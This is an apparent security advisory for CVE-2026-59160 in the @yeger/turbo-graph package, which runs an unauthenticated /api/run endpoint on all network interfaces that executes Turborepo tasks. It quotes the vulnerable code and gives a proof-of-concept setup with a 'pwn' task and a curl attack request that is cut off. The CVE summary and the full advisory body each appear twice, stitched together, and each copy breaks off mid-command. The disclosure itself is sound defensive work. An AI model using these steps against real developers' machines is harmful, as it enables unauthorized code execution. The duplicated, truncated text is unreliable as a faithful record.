CVE-2026-59160

Yeger is a monorepo for npm packages maintained under the yeger scope. Prior to 2.8.9, the turbo-graph package starts its embedded Next.js server from packages/turbo-graph/src/index.ts on all interfaces, including 0.0.0.0:29312 by default, while the GET handler for /api/run in packages/turbo-graph-ui/app/api/run/route.ts has no authentication, authorization, CSRF protection, or task allowlist. The handler accepts the tasks, filter, and force query parameters, and buildResponseFromArgs passes attacker-selected task names to spawn() as Turbo CLI arguments. An adjacent-network attacker can execute any task defined in the victim repository's turbo.json with the privileges of the developer OS user, potentially exposing secrets, modifying files or infrastructure, or causing destructive availability effects. The use of an argument array prevents traditional shell metacharacter injection but does not prevent unauthorized execution of defined tasks. This issue is fixed in version 2.8.9.

Yeger is a monorepo for npm packages maintained under the yeger scope. Prior to 2.8.9, the turbo-graph package starts its embedded Next.js server from packages/turbo-graph/src/index.ts on all interfaces, including 0.0.0.0:29312 by default, while the GET handler for /api/run in packages/turbo-graph-ui/app/api/run/route.ts has no authentication, authorization, CSRF protection, or task allowlist. The handler accepts the tasks, filter, and force query parameters, and buildResponseFromArgs passes attacker-selected task names to spawn() as Turbo CLI arguments. An adjacent-network attacker can execute any task defined in the victim repository's turbo.json with the privileges of the developer OS user, potentially exposing secrets, modifying files or infrastructure, or causing destructive availability effects. The use of an argument array prevents traditional shell metacharacter injection but does not prevent unauthorized execution of defined tasks. This issue is fixed in version 2.8.9.

Unauthenticated Network-Exposed Turborepo Task Execution via /api/run

Summary

@yeger/turbo-graph starts its embedded Next.js server without binding to the loopback interface, causing it to listen on all network interfaces (0.0.0.0:29312 by default). The /api/run HTTP endpoint exposed by this server performs no authentication, authorization, CSRF protection, or task allowlist check before executing attacker-supplied Turborepo task names via spawn(). Any adjacent-network attacker can send an unauthenticated GET request to trigger arbitrary tasks defined in the victim's repository, resulting in code execution, file modification, destructive build side effects, or deployment of attacker-chosen targets with the privileges of the developer's OS user.

Details

Two independent flaws combine to create a remotely exploitable unauthenticated code execution vulnerability:

Flaw 1 — Server bound to all interfaces (not loopback)

packages/turbo-graph/src/index.ts:44 calls .listen(options.port, callback) without passing a hostname argument. Although const hostname = 'localhost' is declared at line 19, it is used only for constructing the console log URL and is never passed to listen(). Node.js therefore defaults to binding on 0.0.0.0 (all IPv4 interfaces) and :: (all IPv6 interfaces), making the server reachable from the local network segment.

// packages/turbo-graph/src/index.ts
19    const hostname = 'localhost'  // used only for console URL, not for listen()
...
44        .listen(options.port, () => {   // hostname argument missing → 0.0.0.0 bind
45          const url = `http://${hostname}:${options.port}`

Flaw 2 — Unauthenticated /api/run task execution endpoint

packages/turbo-graph-ui/app/api/run/route.ts:156–177 defines GET(), which reads tasks, filter, and force from the request query string and passes them directly to buildResponseFromArgs, which appends them to a Turbo CLI argument array and calls spawn(). There is no authentication check, no session validation, no CSRF token, and no task allowlist anywhere in this handler.

// packages/turbo-graph-ui/app/api/run/route.ts
156  export function GET(req: NextRequest) {
157    const url = new URL(req.url)
159    const tasksParam = url.searchParams.getAll('tasks')   // attacker-controlled source
171    const filter = url.searchParams.get('filter') ?? undefined
176    return buildResponseFromArgs(tasks, filter, req.signal, { force })

// buildResponseFromArgs — packages/turbo-graph-ui/app/api/run/route.ts
20    const args: string[] = ['run', ...tasks]              // tasks inserted directly
25          args.push(`--filter=${trimmed}`)
31      args.push('--force')
34    const child = spawn(turboBin, args, { cwd: dir, env: { ...process.env, CI: 'true' } })
                                                            // ^ sink: arbitrary task execution

Because spawn() is invoked with an argument array (not a shell string), traditional shell metacharacter injection does not apply. However, this does not mitigate the vulnerability: any task name defined in turbo.json of the victim's repository can be selected and run without restriction.

PoC

Environment setup (victim machine):

mkdir /tmp/tg-poc && cd /tmp/tg-poc

cat > package.json <<'JSON'
{
  "private": true,
  "scripts": {
    "pwn": "node -e \"require('fs').writeFileSync('/tmp/turbo-graph-poc', 'owned\\n')\""
  },
  "devDependencies": {
    "@yeger/turbo-graph": "2.8.8",
    "turbo": "^2.0.0"
  }
}
JSON

cat > turbo.json <<'JSON'
{
  "tasks": {
    "pwn": { "cache": false }
  }
}
JSON

npm install
npx turbo-graph --port 29312

Verify the server is bound to all interfaces (Flaw 1):

ss -tlnp 'sport = :29312'
# Expected: LISTEN 0 511 *:29312  (0.0.0.0, not 127.0.0.1)

Attack request (from any host on the same network segment):

# Replace <victim-ip> with the victim machine's LAN IP address.
curl…

Yeger is a monorepo for npm packages maintained under the yeger scope. Prior to 2.8.9, the turbo-graph package starts its embedded Next.js server from packages/turbo-graph/src/index.ts on all interfaces, including 0.0.0.0:29312 by default, while the GET handler for /api/run in packages/turbo-graph-ui/app/api/run/route.ts has no authentication, authorization, CSRF protection, or task allowlist. The handler accepts the tasks, filter, and force query parameters, and buildResponseFromArgs passes attacker-selected task names to spawn() as Turbo CLI arguments. An adjacent-network attacker can execute any task defined in the victim repository's turbo.json with the privileges of the developer OS user, potentially exposing secrets, modifying files or infrastructure, or causing destructive availability effects. The use of an argument array prevents traditional shell metacharacter injection but does not prevent unauthorized execution of defined tasks. This issue is fixed in version 2.8.9.

Yeger is a monorepo for npm packages maintained under the yeger scope. Prior to 2.8.9, the turbo-graph package starts its embedded Next.js server from packages/turbo-graph/src/index.ts on all interfaces, including 0.0.0.0:29312 by default, while the GET handler for /api/run in packages/turbo-graph-ui/app/api/run/route.ts has no authentication, authorization, CSRF protection, or task allowlist. The handler accepts the tasks, filter, and force query parameters, and buildResponseFromArgs passes attacker-selected task names to spawn() as Turbo CLI arguments. An adjacent-network attacker can execute any task defined in the victim repository's turbo.json with the privileges of the developer OS user, potentially exposing secrets, modifying files or infrastructure, or causing destructive availability effects. The use of an argument array prevents traditional shell metacharacter injection but does not prevent unauthorized execution of defined tasks. This issue is fixed in version 2.8.9.

Unauthenticated Network-Exposed Turborepo Task Execution via /api/run

Summary

@yeger/turbo-graph starts its embedded Next.js server without binding to the loopback interface, causing it to listen on all network interfaces (0.0.0.0:29312 by default). The /api/run HTTP endpoint exposed by this server performs no authentication, authorization, CSRF protection, or task allowlist check before executing attacker-supplied Turborepo task names via spawn(). Any adjacent-network attacker can send an unauthenticated GET request to trigger arbitrary tasks defined in the victim's repository, resulting in code execution, file modification, destructive build side effects, or deployment of attacker-chosen targets with the privileges of the developer's OS user.

Details

Two independent flaws combine to create a remotely exploitable unauthenticated code execution vulnerability:

Flaw 1 — Server bound to all interfaces (not loopback)

packages/turbo-graph/src/index.ts:44 calls .listen(options.port, callback) without passing a hostname argument. Although const hostname = 'localhost' is declared at line 19, it is used only for constructing the console log URL and is never passed to listen(). Node.js therefore defaults to binding on 0.0.0.0 (all IPv4 interfaces) and :: (all IPv6 interfaces), making the server reachable from the local network segment.

// packages/turbo-graph/src/index.ts
19    const hostname = 'localhost'  // used only for console URL, not for listen()
...
44        .listen(options.port, () => {   // hostname argument missing → 0.0.0.0 bind
45          const url = `http://${hostname}:${options.port}`

Flaw 2 — Unauthenticated /api/run task execution endpoint

packages/turbo-graph-ui/app/api/run/route.ts:156–177 defines GET(), which reads tasks, filter, and force from the request query string and passes them directly to buildResponseFromArgs, which appends them to a Turbo CLI argument array and calls spawn(). There is no authentication check, no session validation, no CSRF token, and no task allowlist anywhere in this handler.

// packages/turbo-graph-ui/app/api/run/route.ts
156  export function GET(req: NextRequest) {
157    const url = new URL(req.url)
159    const tasksParam = url.searchParams.getAll('tasks')   // attacker-controlled source
171    const filter = url.searchParams.get('filter') ?? undefined
176    return buildResponseFromArgs(tasks, filter, req.signal, { force })

// buildResponseFromArgs — packages/turbo-graph-ui/app/api/run/route.ts
20    const args: string[] = ['run', ...tasks]              // tasks inserted directly
25          args.push(`--filter=${trimmed}`)
31      args.push('--force')
34    const child = spawn(turboBin, args, { cwd: dir, env: { ...process.env, CI: 'true' } })
                                                            // ^ sink: arbitrary task execution

Because spawn() is invoked with an argument array (not a shell string), traditional shell metacharacter injection does not apply. However, this does not mitigate the vulnerability: any task name defined in turbo.json of the victim's repository can be selected and run without restriction.

PoC

Environment setup (victim machine):

mkdir /tmp/tg-poc && cd /tmp/tg-poc

cat > package.json <<'JSON'
{
  "private": true,
  "scripts": {
    "pwn": "node -e \"require('fs').writeFileSync('/tmp/turbo-graph-poc', 'owned\\n')\""
  },
  "devDependencies": {
    "@yeger/turbo-graph": "2.8.8",
    "turbo": "^2.0.0"
  }
}
JSON

cat > turbo.json <<'JSON'
{
  "tasks": {
    "pwn": { "cache": false }
  }
}
JSON

npm install
npx turbo-graph --port 29312

Verify the server is bound to all interfaces (Flaw 1):

ss -tlnp 'sport = :29312'
# Expected: LISTEN 0 511 *:29312  (0.0.0.0, not 127.0.0.1)

Attack request (from any host on the same network segment):

# Replace <victim-ip> with the victim machine's LAN IP address.
curl…